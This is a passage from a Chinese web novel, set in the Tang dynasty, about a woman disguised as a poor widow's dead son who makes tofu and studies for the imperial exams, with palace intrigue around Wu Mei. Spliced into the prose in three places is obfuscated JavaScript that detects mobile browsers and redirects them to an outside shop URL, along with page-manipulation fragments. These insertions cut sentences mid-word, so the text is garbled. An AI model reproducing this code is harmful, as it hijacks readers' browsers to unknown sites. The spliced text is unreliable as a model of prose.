崔应真站在那里,心里乱成一团麻。她忽然明白武媚那封信里写的是什么了,大抵是叫她认杨氏为母,在吴县以男子之身科考。 可现在,杨氏的亲儿子刚死,她一个寡妇,丈夫没了,儿子也没了…… “姨母。”她开口,自己都不知道怎么叫出来的,“您……节哀。” 杨氏擦着泪,苦笑了一下:“节什么哀,我这辈子,就是这样了。” 她看着崔应真,眼神复杂得很,声音又哽咽了,“他生病花的那些钱,全是借的。如今人没了,债还在。我这个家,哪里还能供你科考?” 崔应真心里发沉,可她知道,这时候不能慌。她想了想,从怀里掏出那个布包,打开来,里头是二十贯钱的银铤和铜钱。 “姨母,这是媚娘姐姐给的盘缠,您先收着。还债也好,过日子也好,总能撑一阵。” 杨氏看着那堆钱,愣住了。 “这……” “我既然来了,就不会让姨母一个人扛。”崔应真说着,自己也觉得底气不足,可话还是硬着头皮说下去了,“往后,我来想办法。媚娘姐姐说了,她会帮衬着。咱们慢慢来,总能熬过去。” 杨氏看着她,眼眶又红了。这回不是哭,是另一种情绪,崔应真看不太懂。 “你叫什么?” “崔应真。” 杨氏点点头,忽然伸手,把她拉到跟前,上上下下打量了一番。 “媚娘信里说,你是个有本事的。”杨氏说,“我本来不信,可这会儿瞧着,倒是有点信了。” 崔应真不知道该说什么,只笑了笑。 杨氏看了她好一会儿,忽然把那包钱塞回她手里:“收好了。这钱,不能乱动。往后你要科考,要买书,要请先生,处处都要钱。我那点债,我自己想办法。” “姨母……” “听我的。”杨氏打断她,语气忽然硬了些,“我是你娘了,你得听我的。” 崔应真看着她,心里忽然涌上一股说不清的滋味。 杨氏转身走到里屋门口,把那扇半掩的门轻轻关上,动作很轻,像怕惊动什么似的。关好门,她转过身来,深吸一口气。 “饿了吧?我去给你弄点吃的。” 崔应真点点头,看着她往灶房走去的背影,瘦瘦的,肩膀微微塌着,可步子还算稳。 屋里很静,外头隐约传来几声狗叫。崔应真站在那张旧方桌前,看着桌上摆着的一个粗陶碗,碗里还剩着半碗冷了的粥。大概是那孩子最后没吃完的。 崔应真把那包钱塞回怀里,沉甸甸的,硌着胸口。她在板凳上坐下来,盯着那扇关着的里屋门,心里暗暗下了决心,她必然要考个名堂出来! 4. 新的生活 萧淑妃的寝殿里,碎瓷片崩了一地。 “她凭什么?她凭什么!” 萧淑妃抓起案上的茶盏,狠狠砸在地上,茶水溅上她的裙角,她也不管,“那个贱人,自己生不出儿子,就去尼姑庙里找个姑子来对付我?” 宫女们跪了一地,谁也不敢抬头。领头的贴身宫女春莺跪在最前面,声音压得低低的:“娘娘息怒,仔细伤着自个儿……” “息怒?”萧淑妃转过身来,脸上还挂着泪痕,眼睛红红的。 “你让我怎么息怒?皇上多久没来我这儿了?今儿我听说了,那个武媚娘,王皇后已经派人去接了!说是先给她蓄头发,过些日子就封昭仪!” 与此同时,王皇后的寝殿里,气氛轻松得多。 王皇后斜靠在榻上,手里拿着一卷书,却没在看。她嘴角带着一丝笑意,抬眼看向身边的宫女采月。 “彩霞宫那边,有动静了?” 采月抿着嘴笑:“回娘娘,听说砸了好些东西,这会儿怕是气得睡不着呢。” 王皇后把那卷书放下,轻声道:“活该。她得意了这些年,也该轮到别人了。” 采月凑近些,压低声音:“娘娘,那个武媚娘,奴婢瞧着是个聪明的。进宫之后,怕是不会忘了娘娘的恩情。” 王皇后点点头,脸上带着满意的神色:“她当然得记得。若不是本宫,她这会儿还在感业寺里吃斋念佛呢。”顿了顿,又道,“萧淑妃不是仗着自己生了皇子就目中无人么?等武媚娘进了宫,有她受的。” 窗外月色正好,王皇后端起茶盏抿了一口,心情从未这么好过。她等这一天,等得太久了。 天刚蒙蒙亮,崔应真就醒了。 她躺在硬邦邦的木板床上,盯着头顶黑乎乎的房梁,脑子慢慢清醒过来。 外头隐约传来鸡叫,隔壁杨氏那屋一点动静都没有,大概是这些天累坏了,这会儿还睡着。 崔应真轻手轻脚爬起来,穿上那身半旧的男装,头发昨晚就束好了,裹上幞头,对着水盆照了照。 只见一个半大的读书郎,比起寻常少年不过瘦了点,白了点,不过杨氏的儿子据说病了好些年,瘦弱才正常。 出了房门,她在院子里转了一圈。 院子不大,三间土坯房,一间正屋,一间灶房,还有一间堆杂物的小屋。灶房外头有个石磨,磨盘上落了厚厚一层灰,看样子好久没动过了。旁边还有几个木桶,桶底都朽了,扔在那里没人管。 崔应真蹲下来看了看那石磨,又看了看那几个破木桶,心里有了点数。 她从灶房找了块干饼子,就着凉水啃了两口,推门出去。 巷子里已经有人在走动了。卖菜的挑着担子往外走,豆腐坊的门板卸下来,一股豆腥味儿飘出来。崔应真深吸一口气,顺着巷子往外走。 吴县的街市不大,这会儿已经热闹起来。她先找到债主,据杨氏说,借的是街口那家杂货铺的钱,铺主姓周,是个四十来岁的汉子,人还算厚道。 崔应真进了铺子,周掌柜正在理货,抬头看见她,愣了一下。 “你是……” “周叔,”崔应真拱了拱手,笑得斯文,“我是崔家的,崔延明的儿子。”延明是杨氏丈夫的名字,她昨儿个夜里问清楚了。 周掌柜盯着她看了好一会儿,忽然一拍大腿:“哎呀!小崔!你……你这是好了?” 崔应真点点头,脸上带着点不好意思的笑:“托周叔的福,养了大半年,总算是熬过来了。今儿个来,是还钱的。” 她从怀里掏出两贯钱,放在柜台上。周掌柜看着那钱,又看看她,眼眶忽然有点红。 “你这孩子……你娘这些日子苦得很,你病着的时候,她天天来我这儿赊东西,我心里也难受。如今你好了,就好了,好了就好……” 他絮絮叨叨说着,把那两贯钱推回去一半,“拿回去,给你娘买点好吃的,补补身子。这钱不急着还,你先把日子过起来再说。” 崔应真心里一暖,坚持把钱推过去:“周叔,您收着。欠债还钱,天经地义。往后我们娘俩还得靠您多照应呢。” 周掌柜推辞不过,只好收了。崔应真出了铺子,又去粮铺买了些米面,最后走到卖豆子的摊子前,一口气买了五十斤黄豆。 卖豆子的老汉看着那堆豆子,又看看她,忍不住问:“小郎君,买这许多豆子,你家开豆腐坊啊?” 崔应真笑了笑:“不是,家里有石磨,磨点豆浆喝。” 老汉摇摇头,帮她装好豆子,“等着吧,一会儿就给你送去。” 崔应真扛着米面往回走,路过街口时,碰见几个聚在一起说话的街坊。 一个胖胖的大娘看见她,愣了好一会儿,忽然叫起来:“哎呀!这不是崔家那小郎君吗?你好了?” 她一嗓子,旁边几个人全围了过来。 “真的?瘦了瘦了,可比以前精神多了!” “哎哟,你娘这些日子可是遭了罪了,你可得好好孝顺她!” “你这孩子,怎么一声不吭就出门了?外头风大,仔细再病了!” 崔应真被围在中间,脸上挂着笑,一一应着。 她心里却想:真是时也命也,杨氏那儿子从小体弱多病,被爹关在家里读书,从不出门,街坊邻居只听说过有这么个人,压根没见过几面。 如今她这个冒牌货往这儿一站,倒没人怀疑,谁让她长得瘦弱白净,一看就是常年不出门的病秧子相? 好不容易应付完热情的街坊,崔应真扛着豆子回到家。杨氏已经起来了,正在灶房里烧水,见她扛着大包小包回来,吓了一跳。 “你这是……” 崔应真把东西放下,拍拍身上的灰,笑着说:“娘,周叔那债,我还了。” 杨氏愣住了。 “两贯钱,他收了。还非要退我一贯,我没要。” 崔应真说着,把那二十斤米和面拎出来,“这是买的粮食,够咱俩吃一阵子的了。” 杨氏看着她,眼眶慢慢红了。她张了张嘴,想说什么,却一个字都说不出来,只是站在那里,眼泪扑簌扑簌往下掉。 崔应真走过去,扶她坐下:“娘,您别哭。往后有我呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334361|199215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杨氏握着她的手,攥得紧紧的,好半天才憋出一句:“好孩子……好孩子……” “崔家的!送豆子来咯!”卖豆子的老汉抬手擦了把汗,扛着大袋大袋的豆子站在门口喊着。 崔应真和杨氏连忙帮着一起把黄豆搬进了院子里,整理了半天,杨氏才缓过劲来。 她看着灶房外头那堆黄豆,纳闷地问:“你买这么多豆子做什么?” 崔应真拉着她走到院子里,指着那石磨说:“娘,咱家有这个。” 杨氏点点头:“那是他爹当年买的,想做豆腐卖来着。可还没来得及……” 她说不下去了。 崔应真赶紧接过话茬:“我看过了,这石磨还能用。那几个木桶虽然是朽了,可找人修修,或者重新箍两个,花不了几个钱。咱家要做豆腐,家伙什都是现成的。” 杨氏愣住了:“做豆腐?” “对。”崔应真掰着手指头算。 “我今儿个在街上看了,吴县做豆腐的有三四家,可都是小买卖,卖得也不贵。咱要是做,不一定指着发财,可好歹有个进项。往后我要读书科考,笔墨纸砚都要钱,总不能全靠媚娘姐姐接济。” 杨氏看着她,眼神里又是惊讶又是感动。过了好一会儿,她忽然伸手,把崔应真拉到跟前。 “应真,你跟娘来。” 她拉着崔应真进了那间堆杂物的小屋,推开靠墙的一个破柜子,露出后头一扇小门。门推开,里头是间不大的屋子,灰尘味扑面而来。 崔应真探头一看,愣住了。 屋里整整齐齐摆着两个书架,上头满满当当全是书。靠窗是一张书案,案上放着笔墨纸砚,笔架上挂着几支毛笔,砚台里还留着干涸的墨迹。 墙上挂着一幅字,写着“勤学”两个字,笔力倒是不错。 “这是他爹和他……”杨氏顿了顿,“他爷俩读书的地方。他爹走了以后,他身子不好,也来不了了。” 她走过去,伸手拂去书案上的灰,眼眶又红了。 “他爹在世的时候,总说我儿子聪明,好好读几年书,说不定能考个功名。可这孩子命苦,书是读了不少,身子却越来越差……他临走前两天,还念叨着想去书房坐坐,可实在下不了床了。” 崔应真站在那里,看着那些落满灰尘的书,心里说不上是什么滋味。 杨氏转过身来,看着她,眼神里有一种她看不懂的东西。 “应真,这些东西,往后都是你的了。书,笔,墨,砚,还有他爷俩没做完的梦……”她说着,声音又哽咽了,“你好好读,替他们……也替你自己,争口气。” 崔应真看着她,忽然觉得肩上沉甸甸的。 她点点头,说:“娘,您放心。我一定好好读。” 杨氏伸手,把她抱在怀里,抱得很紧。 过了好一会儿,杨氏松开她,擦了擦眼睛,忽然想起什么:“对了,你说做豆腐,可我不会啊。” 崔应真笑了笑:“我会啊,娘,不然我怎能一眼就看出咱家这些东西是做豆腐用的?” 杨氏看着她,也笑了。 5. 拜师学艺 崔家书房不过是一间狭小偏房,一床一桌,一个破旧书架,上面摆着寥寥数卷泛黄的书籍,不少还是手抄本。 但就是这点家当,恐怕已是这个贫寒之家,倾尽所有才攒下的。 崔应真随手拿起最上面一卷。 《孝经》,再往下是《论语》。 然后是《毛诗》《尚书》《礼记》《左传》的残卷,角落里还有一册抄得歪歪扭扭的《五经正义》残页。 若是旁人,面对这些晦涩经文,怕是要从一字一句认起,苦读数年不得入门。 但崔应真不同 前世的知识底蕴在这一刻展现得淋漓尽致。 经文、注疏、义疏、唐时科考体例……她只是略一翻阅,心中便已了然。 这些书,别人是从头学,她是重温。 崔应真合上书卷,长长吐出一口气。 在大唐,一个无家世、无背景、无官学身份的寒门白身,要考科举,只有两条路:一是官学里的生徒,二是地方选拔上来的乡贡。 以目前崔家的情况来看,她进不了国子监、州学,只能走乡贡。 乡贡的规矩很死: 先在本县报名,经县衙核查身份,才有资格参加县试。县试考过,再去州府参加州试。 两级都通过,才能被选为“举人”,送往长安,参加礼部主持的省试。 同时,选科也非常重要 考明经,背得多,好考,但日后做官升迁慢。 考进士,难十倍,却一旦及第,便是一步登天,是寒门真正的龙门。 崔应真指尖轻轻敲击桌面。 她眼底闪过一丝笃定。 明经?不考。 要考,就考最难、最荣耀、最能彻底改变命运的,进士科。 经文她有底子,诗赋、策论更是他的本行,只要稍加熟悉唐时体例,她自信能与与天下才子一争高下。 只是眼下,她该去做豆腐了! 清晨天刚蒙蒙亮,鸡叫头遍,崔应真已经起身。 她轻手轻脚摸进灶房。 崔应真上辈子虽不是厨子,但却是个资深的古文化研究博士,不仅仅对文学领域手到擒来,还会古法豆腐、香皂等,这也是她在古代生存下来的资本。 泡豆、磨浆、滤渣、煮浆、点卤、压制成型。 她动作麻利,先将缸里存的黄豆洗净泡发,趁着晨光推磨。石磨沉重,没一会儿便额头见汗,却咬着牙不肯停。 磨出的豆浆雪白细腻,滤去豆渣,大火煮沸,再用卤水一点点点入。不过半个时辰,一锅嫩白的豆腐便成型了。 香气飘满小院。 杨氏被香味惊醒,推门出来一看,就赶紧伸手帮她把豆腐切块码进木盘。 清晨的集市人来人往。 崔应真一身洗得发白的粗布短打,挑着担子往街口一站。她的豆腐白嫩紧实、豆香浓郁,再加上长相清俊、说话温和,不多时便被街坊一抢而空。 攥着手里一把零碎铜钱,沉甸甸的,是第一份踏实。 她挑着空担往家走,刚到巷口,迎面撞见一位身着青布长衫、须发半白的老者。 崔应真抬起头,正要答话,脑子里忽然“叮”的一声。 “人物扫描中…… 姓名:陈德明 身份:吴县私塾先生,当地知名儒生,曾中明经科 地位评级:地方名望人物,对当地科举圈有 影响力。 关系:早年与崔家亡父有过几面之交。” 私塾先生?当地名望人物?对科举圈有影响力? 她脑子里飞快转起来,自己正愁不知道怎么融入本地读书人的圈子,怎么找人指点科考,这人就送上门来了? 天助我也! 她赶紧把脸上的笑调整到最真诚的状态,心想着,待会儿得想办法让他多问几句,得让他觉得自己是个可造之材! 陈德明目光一扫,先是一愣,随即上前:“你是……崔家小子?” “晚辈正是。”崔应真拱手。 “你前些日子不是病重不起吗?”陈德明又惊又喜,“我还听说……唉,万幸,万幸啊。” “劳夫子挂心,侥幸捡回一条命。”崔应真态度恭谨。 陈德明打量他几眼,忍不住叹道:“你父亲当年也是个读书人,只是天分有限,苦读多年也未能入门,后来为养家糊口,才弃文从商。我原以为你……” 话没说完,但意思很明显,都以为崔家读书种子断了。 崔应真心中一动。 她故作随意地抬手,指了指担子里剩下的半块用来垫角的旧书纸,那纸上抄着几句《论语》,是原主随手写的。 “夫子可唤我名,应真。不瞒夫子,晚辈大病一场后,反倒脑子清明了许多。前些日子重读《论语》,有些浅见,不知当讲不当讲。” 陈德明本就爱才,一听顿时来了兴致:“应真,你但说无妨。” 崔应真不慌不忙,只拣唐朝科举最看重的义理来讲,言语浅白,却句句切中孔颖达《五经正义》的精髓,甚至顺带点出几句与时务相通的道理。 陈德明越听眼睛越亮,身子都不自觉前倾。 这哪里是寒门小子? 这分明是早有根基、一点就通的良才! “你……你真是自己悟出来的?”陈德明声音都有些发颤。 “晚辈不敢欺瞒夫子。大病之后,往日晦涩的经文,如今再看,竟一目了然。”崔应真说得谦虚,却藏不住那份通透自信。 陈德明当场拍板:“我那书院虽小,却也有几卷藏书、数张书桌。你随我入学,学费全免!以你的才学,不出一年,县试必有你一席之地!” 周围路过的邻居都看呆了。 陈德明向来眼高于顶,几时见过他这么主动拉人入学? 崔应真心中一暖,却没有立刻应下。 她躬身一礼,语气诚恳: “夫子厚爱,晚辈感激不尽。只是晚辈家中只有老母在堂,我若整日去书院,娘亲无人照料,豆腐生意也要中断。家中生计,实在离不开我。” 一句话,既显孝顺,又不骄不躁。 陈夫子非但不恼,反而更加欣赏。 有才,又孝悌,难得! 他略一沉吟,朗声道:“好!既然如此,老夫不收你入书院,直接收你为关门弟子!” “你每日只管做豆腐、照顾娘亲,空闲时便来我处求教。经文、策论、诗赋、科考规矩,老夫倾囊相授!” 周围一片哗然。 陈夫子在这一带有名的清高,多少富家子弟捧着束脩求入门,他都不肯,如今居然主动收一个卖豆腐的寒门少年做弟子? 崔应真心中大喜。 入书院要耗时,做徒弟却自由灵活,读书、养家、科考三不误。 她当即郑重躬身到底: “弟子崔应真,拜见师父!” “叮—— 成功结交关键人物:陈德明 获得奖励:过目不忘符×1(使用后一炷香内,看过的内容全部记住,限用一次)” 崔应真揣着满满一袋铜钱,又带着拜了陈夫子为师的天大喜讯,脚步轻快地踏进院门时,杨氏正坐在小板凳上搓着麻线,一抬头看见崔应真的轻松笑意,手里的活计当即就停了。 “应真,今儿个豆腐卖得可好?” “何止是好。” 崔应真放下担子,快步走到娘亲面前,声音里藏不住的欢喜。 “娘,我还遇上了一桩大好事!巷口的陈夫子,您还记得吗?就是当年与爹相识的那位老先生,他今日见我,竟亲口收我做他的关门弟子了!” 杨氏先是一怔,浑浊的眼睛里慢慢泛起水光,“你、你说的是真的?陈老先生?那可是咱们这一带有名的饱学之士啊……” “千真万确。” 崔应真点头,“师父说,我不必整日待在书院,只需得空便去他那里请教经文、策论,学费束脩,他一概不收。” 杨氏听得泪如雨下,却不是悲,而是喜极而泣。 她这辈子唯一的念想,就是后辈能走出这泥淖一般的穷日子,不用像她一样一辈子面朝黄土、挑担叫卖,如今竟真的有了盼头。 “好,好啊……你爹在天有灵,也能瞑目了。” 杨氏抹了把眼泪,当即就拿定了主意,“应真,读书是天大的事,往后这做豆腐、卖豆腐的活计,娘来学! 娘明天就跟着你做,你只管安心跟着夫子念书,不用惦记家里。你只偶尔去摊子上搭把手便是,剩下的全都交给娘。” “还有,别的也就罢了,这束脩之礼绝不可少,娘明日就上街采买!” 崔应真心里一暖,又有些发酸。 她没有矫情推辞,只重重应了一声,拉着杨氏的手笑道:“娘,今儿个咱们高兴,我去买点肉菜,好好吃一顿。” 彼时正是大唐永徽年间,市井之间食材不算丰饶,却也自有一番烟火滋味。崔应真揣着今日卖豆腐的钱,拉着娘亲到了集市。 她挑了一小块新鲜猪肉,又割了一截韭叶,称了点白面,再买了两把青菜,最后还拣了两枚鸡蛋。 杨氏一路心疼地念叨着“省着点花”,嘴角却一直扬着,眼底的笑意藏都藏不住。 回到家中,崔应真亲自掌勺。 灶膛里火苗噼啪作响,铁锅烧热,先将肥肉部分下锅煸出油,再下瘦肉翻炒,滋啦一声,肉香瞬间弥漫了整间小屋。 她又将切得整齐的韭叶下锅,与肉同炒,不过片刻,韭香混着肉香,勾得人食指大动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334362|199215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 另一口锅里,他下了白面,煮了一锅面片汤,面片薄而均匀,汤里撒上少许盐,卧上两枚嫩黄的鸡蛋,蛋白雪白,蛋黄圆润,看着就暖心暖胃。 没有后世繁复的调料,只靠着最本真的火候与食材本身的滋味,这顿饭却做得香气扑鼻。 母子二人坐在矮桌旁,吃得鼻尖冒汗。 杨氏一口面片一口菜,吃得眼眶发热,连连叹道:“娘这辈子,从没吃过这么香的饭……应真不仅读书有出息,连做饭都这样好。” 当夜,崔应真没有浪费半分时光。 等娘亲睡下,他便借着微弱的灯光,从那堆破旧书卷里抽出《左传》残卷。 别人读经书,要一字一句啃释义、背注疏,可她前世是汉语言文学博士,对唐朝科举指定的《五经正义》烂熟于心,这些经文于他而言,不过是重温旧知。 不过小半个时辰,一卷《左传》便已通读一遍,帖经、墨义可能考到的段落、重点义理、与时政相关的典故,全都在他心中梳理得清清楚楚。 胸藏万卷,底气自足。 第二日天还未亮,杨氏便匆匆出门采买,待到崔应真起床时,杨氏已经回家了。 “应真,东西娘都给你买回来了,你一会儿就去送给夫子。”杨氏轻声开口,将布包轻轻放在案上。 崔应真解开布包,内里是束脩五礼:一方风干腊肉,一坛清酒,一束鲜嫩芹菜,一篮红枣,一捧桂圆。 “古之学子拜师,必奉束脩。腊肉表恭敬,酒醴示诚敬,芹菜喻勤勉,红枣桂圆,是盼先生愿你早登科第、圆成学业。” 杨氏细细叮嘱,“娘虽是一介女子,这些礼仪却是懂得的。” 说完,话锋一转,又催促道:“你快教娘制豆腐,好减轻你的负担!” “好,好,娘,我知道了。”崔应真心里暖暖的,连声应道。 崔应真从泡豆、推磨、滤渣,到煮浆、点卤、压制成型,每一个细节都讲得明白。 杨氏本就是勤快伶俐的人,一点就透,上手极快,不过一遍,便已记住了大半流程。 天色微亮时,一板白嫩紧实的新鲜豆腐再次成型,豆香飘满小巷。 母子二人一同挑着担子来到街口。 杨氏本就是这里的老住户,街坊邻里大多相熟,一开口便笑容温和,语气亲切:“新鲜豆腐嘞——刚做好的热豆腐,嫩得很——” “崔家娘子,今日怎么是你出来卖?” “我儿要读书,我搭把手。你们尝尝,这豆腐是我跟我儿一起做的!” 街坊们一尝,都赞不绝口。 “这豆腐真嫩!比往日别家的还好!” “崔家小子有出息,娘也能干!” 不过小半个时辰,一板豆腐便卖得干干净净。 杨氏攥着一把铜钱,手心都在发热,脸上笑开了花,当即就推着崔应真,连声催促:“快去吧快去吧,别让陈夫子等久了!读书要紧,家里有娘呢,你尽管放心!” 崔应真看着娘亲满面红光的模样,心中安稳,这才整理了一下粗布衣衫,朝着陈德明家中走去。 陈德明的住处不大,却收拾得干净雅致,院中摆着几盆草木,一间正屋便是书房兼授课之地,靠墙立着书架,摆满了经书典籍,空气中弥漫着一股淡淡的墨香。 崔应真恭敬地站在门外,轻声通禀:“弟子林砚,拜见师父。” 很快,一名面容和善的妇人就亲热地迎她进门,“想必你就是应真吧,你可以叫我师娘,你师父昨日可一直念叨你呢......” 崔应真对这位师娘顿时心生好感,一路与她寒暄。 至夫子门前,她整衣敛容,轻声通禀。入内见陈德明端坐堂中,崔应真当即趋步上前,垂首行再拜大礼,双手将拜师礼奉于案前。 “弟子崔应真,蒙先生不弃收录门下,今奉薄礼,以表寸心,愿执弟子礼,勤学不怠。” 陈德明见她举止合度、言辞恭谨,眼中微露赞许,缓缓抬手:“起重礼不在外物,而在心志。你既有此诚心,日后安心治学便是。” 这时,一个少年进门,崔应真顿时便察觉到一道不怀好意的目光,直直落在自己身上。 那少年一身绸缎长衫,料子考究,腰间系着玉坠,眉眼间带着几分傲气,神色轻慢。 他上下打量着崔应真身上洗得发白的粗布衣裳,眼神里满是不屑与轻视。 陈夫子见状,便开口介绍:“应真,这位是你师兄,赵承煜。是正经的名门之后,早前便拜在我门下。” 她面上不动声色,恭敬拱手:“见过师兄。” 赵承煜却只是冷哼一声,眼皮都没抬一下,语气带着毫不掩饰的鄙夷: “师父,您昨日说收了个关门弟子,就是这么一个寒门小子?也配与我同门?” 6. 遭人嫉妒 陈德明眉头微蹙,却没有呵斥,只对崔应真道:“你既入我门下,老夫便要先测一测你的根底。今日先考你《孝经》,这是科举入门第一关,无论明经还是进士,都绕不开。” 崔应真颔首:“任凭师父出题。” 他起身进屋,出来时手里拿着几本书,放在廊下的矮几上。第一本是《孝经》,他翻开随便指了一处: “身体发肤,受之父母,不敢毁伤,孝之始也。往下怎么讲?” 崔应真松了口气,这题她会。 “立身行道,扬名于后世,以显父母,孝之终也。夫孝,始于事亲,中于事君,终于立身。” 陈德明点点头,又翻了翻,问下一句:“那‘爱亲者,不敢恶于人;敬亲者,不敢慢于人’是何意?” 崔应真答道:“意思是真正爱自己父母的人,就不会对别人刻薄;真正尊敬自己父母的人,就不会对别人傲慢。因为把这份孝心推及出去,待人接物自然就和善了。” 陈德明听了,微微点头,又略想了想,问第三题: “《论语》里孔子说‘道之以政,齐之以刑,民免而无耻;道之以德,齐之以礼,有耻且格。’你怎么看?” 崔应真心说这题她熟,当年上学时还背过。她组织了一下语言,道: “学生觉得,孔子这话是说,光靠政令和刑罚,老百姓只是怕受罚,心里却没有羞耻感。用道德和礼教来引导,百姓就有了羞耻心,也知道什么该做什么不该做,自然就归正了。” 陈德明听完,沉默了一会儿,捋着胡须没说话。 旁边赵承煜忽然笑了一声,开口道:“师父,应真这说法……倒是新鲜。只是科考时,恐怕得按注疏来答,不能自己瞎琢磨。” 崔应真心里咯噔一下,面上却不动声色,只是笑了笑:“赵兄说得是,学生荒废久了,难免有些野路子。” 陈德明摆摆手:“话也不能这么说。应真这说法,虽不合注疏,可道理是通的。注疏是前人的理解,可经文本身的意思,本来就可以有不同角度的体会。” 他看着崔应真,眼里倒是多了几分赞许:“你病中这几年,看来是没少动脑子。虽然路子不太应试,但读书能读出自己的见解,这是好事。” “叮—— 检测到宿主在关键人物面前展现才学,获得认可。” 奖励:镇定符×1” 崔应真自是高兴极了,然而一旁的赵承煜却不然。 赵承煜听了,脸上有点挂不住,又道:“夫子说得是,只是科考终究要按规矩来。应真若是有意下场,还得在帖经、策问上下些功夫。这答法,考官怕是不认。” 崔应真依旧笑着点头:“赵兄说得对,学生确实欠缺这些。今日来,就是想求夫子指点,该从何处补起。” 陈德明想了想,起身又进屋,出来时手里拿着几本册子,递给她:“这是前几年县试、府试的优等答卷,你拿回去仔细看看。帖经有帖经的路数,策问有策问的规矩,多看多琢磨,自然就明白了。” 崔应真双手接过,谢过夫子。 陈德明又叮嘱了几句,让她往后常来,有什么不懂的就问。崔应真一一应了,起身告辞。 赵承煜送她到门口,脸上的笑客气又疏离。 出了门,崔应真走在巷子里,心里琢磨这个赵承煜。 这人倒是有点意思,自己又没得罪他,犯得着这样?八成是见夫子夸了她,心里不痛快。 不过她也没空管这些,抱着那几本答卷,脚步轻快地往回走。路上忍不住翻了两页,密密麻麻的字,看不大懂,但好歹是范本,回去慢慢啃就是。 回到家,杨氏正在院子里晾衣裳,见她回来,赶紧迎上来问如何。 崔应真把经过说了,杨氏听得直抹眼泪,连声说老天保佑。 崔应真安慰了她几句,抱着那几本答卷进了书房,坐在那张旧书案前,点起油灯,开始一页一页地翻。 外头的天渐渐黑了。她揉揉眼睛,心想:这科考,还真不是闹着玩的。 长安城里,天渐渐亮了。 今天是武媚入宫的日子,艳阳高照。 宫里派来的车在寺门口等了半个时辰,两个宫女扶着武媚上了车。 慧明师太站在门口送,脸上淡淡的,什么话都没说。净尘站在后头,眼神复杂得很,不甘心,又不敢说什么。 武媚上车前,回头看了一眼感业寺的大门。灰扑扑的院墙,掉了漆的门,她在这里住了整整两年。 她收回目光,上了车。 车子晃晃悠悠往宫里走,她靠在车壁上,闭着眼,脑子里想着接下来要面对的事。王皇后,萧淑妃,还有那些等着看她笑话的人。 到了宫里,先被带去见王皇后。 王皇后的殿里点了香,甜丝丝的,熏得人有些晕。 武媚被引进去时,王皇后正坐在榻上,手里拿着一卷书,见她进来,放下书,脸上浮起温柔的笑。 武媚上前行礼,跪下,额头触地:“罪妾武氏,叩见皇后娘娘。” 王皇后亲自起身,把她扶起来,拉着她的手上下打量,眼眶竟有些发红:“快起来快起来,让本宫好好看看。这两年,苦了你了。” 武媚低着头,眼睛也红了,声音有些哽咽:“娘娘言重了。妾在寺中日夜为陛下和娘娘祈福,不敢言苦。” 王皇后拉着她坐下,让人上茶,又细细问她在寺里过得如何,吃的可好,住的可惯。武媚一一答了,每一句都答得恭恭敬敬。 王皇后听着,点点头,忽然叹了口气:“你是个懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334363|199215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的。这宫里啊,看着风光,其实处处都不容易。往后你住进来,咱们就是姐妹了,有什么难处,只管来找本宫。” 武媚赶紧又要跪下谢恩,王皇后按住她,笑道:“不必多礼。本宫让人给你收拾了住处,离这儿不远,你先去看看,缺什么只管说。” 武媚谢了恩,正要退下,王皇后又叫住她,挥了挥手,几个宫女捧上来一堆东西——几匹上好的绢帛,一套崭新的妆奁,还有一盒首饰。 “这是本宫的一点心意,你收着。”王皇后笑着,“你才进宫,东西少,先用着。” 武媚看着那些东西,眼圈又红了,跪下磕头:“娘娘恩情,妾没齿难忘。” 王皇后拉着她的手坐下,让宫女们都退到门外,才叹了口气。 “本宫跟你说句掏心窝子的话,”她压低了声音,语气比方才更亲近了些。 “这宫里看着风光,可处处都是险处。萧淑妃那边,你往后就知道了,仗着生了皇子,眼里哪有旁人?” 武媚低着头,没接话。 王皇后拍拍她的手,又道:“本宫把你接进来,是真心想跟你做姐妹。你在宫外这些年,怕是不太清楚,这后宫里,没有家世撑腰,寸步难行。萧淑妃她爹是什么人?本宫就不说了。可你……” 她顿了顿,没往下说,但那意思已经明明白白: 你武媚出身不高,父亲武士彟虽说是开国功臣,可早就过世了,家里也没人在朝中当大官。没有家世,没有靠山,在这宫里能活几天? 武媚抬起头,眼圈微微泛红:“娘娘说的是。妾一无所有,全凭娘娘照应。” 王皇后见她这副模样,心里更满意了,笑道:“你放心,只要咱们姐妹一条心,萧淑妃那边翻不出什么浪来。本宫在这后位一天,就保你一天安稳。” 武媚低下头,声音轻轻的:“妾记住了。” 王皇后又叮嘱了几句,武媚跪谢了恩,退出殿来。 外头的阳光有些晃眼。她站在廊下,眯着眼看了看天,嘴角弯了弯,很淡很淡。 一条心? 她心里明白得很。王皇后要的哪是什么姐妹,不过是一把刀。 